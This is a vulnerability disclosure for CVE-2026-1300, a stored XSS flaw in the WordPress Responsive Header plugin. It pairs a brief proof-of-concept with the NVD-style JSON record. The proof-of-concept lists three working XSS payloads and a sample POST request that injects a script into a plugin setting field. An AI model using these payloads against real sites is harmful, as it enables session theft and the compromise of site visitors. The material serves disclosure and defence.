CVE-2026-1300

<!-- CVE-2026-1300 PoC - Stored XSS in Responsive Header Plugin --> <!-- Requires admin privileges --> <!-- Target: WordPress Responsive Header Plugin <= 1.0 --> <!-- Step 1: Navigate to plugin settings page --> <!-- URL: /wp-admin/admin.php?page=responsive-header-settings --> <!-- Step 2: Inject XSS payload in any plugin setting field --> <!-- Example payloads --> <script>alert(document.cookie)</script> <img src=x onerror=alert('XSS')> <svg/onload=alert(document.domain)> <!-- Step 3: Save settings --> <!-- The XSS will be stored and executed on pages where the header is displayed --> <!-- HTTP POST Request Example --> POST /wp-admin/admin.php?page=responsive-header-settings HTTP/1.1 Host: target.com Cookie: [admin cookies] Content-Type: application/x-www-form-urlencoded rhp_header_title=<script>alert(document.cookie)</script>&rhp_save_settings=1

{"cve": {"id": "CVE-2026-1300", "sourceIdentifier": "[email protected]", "published": "2026-01-24T09:15:54.353", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Responsive Header plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple plugin settings parameters in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Responsive Header para WordPress es vulnerable a cross-site scripting almacenado a través de múltiples parámetros de configuración del plugin en todas las versiones hasta la 1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel de administrador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a las instalaciones multisitio y a las instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://downloads.wordpress.org/plugin/responsive-header.1.0.zip", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-header/tags/1.0/rhp-settings.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-header/trunk/rhp-settings.php#L103", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/responsive-header/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/30821418-48c0-4bc6-8bf1-f558671bff24?source=cve", "source": "[email protected]"}]}}